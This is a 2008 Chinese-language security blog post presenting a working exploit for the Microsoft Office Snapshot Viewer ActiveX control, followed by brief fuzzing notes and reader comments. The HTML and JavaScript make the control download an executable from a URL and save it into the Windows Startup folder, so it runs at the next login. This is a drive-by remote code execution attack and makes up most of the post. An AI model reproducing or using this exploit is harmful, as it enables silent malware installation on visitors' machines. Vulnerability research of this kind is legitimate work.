2008年7月8日星期二

[Exploit]Microsoft Office Snapshot Viewer ActiveX Exploit

by cloie
2008-07-08
http://www.ph4nt0m.org

今天有人发了个Snapshot Viewer的ADV,结合CERT那篇dranzer.pdf,重现漏洞

EXP:

<html>
<object classid='clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9' id='obj'></object>
<script language='javascript'>
var buf1 = 'http://127.0.0.1/a.exe';
var buf2 = 'C:/Documents and Settings/All Users/「开始」菜单/程序/启动/test.exe';
obj.SnapshotPath 
= buf1;
obj.CompressedPath 
= buf2;
obj.PrintSnapshot();
</script>
</html>



Fuzzing时一般是对单个Property和单个Method()做FUZZ,这时会检测到对SnapshotPath有HTTP GET。然后想想它总是需要保存到本地的,再测试其他Property。由于此ActiveX的Property和Method都非常少,很快可以 FUZZ完

5 条评论:

Unknown 说...

Thank you for sharing.
i've tested the exploit code on test box. but, i've found something strange.

it's not equal between a file at buf1 and a file at buf2. i think the file at buf1 is downloaded to a path refered to buf2. however, a process of download was NOT actually completed.

so, downloaded executable file was not executed normaly.

do you know what's wrong? plz let me know..

luoluo 说...

Maybe your machine don't have this activex control.

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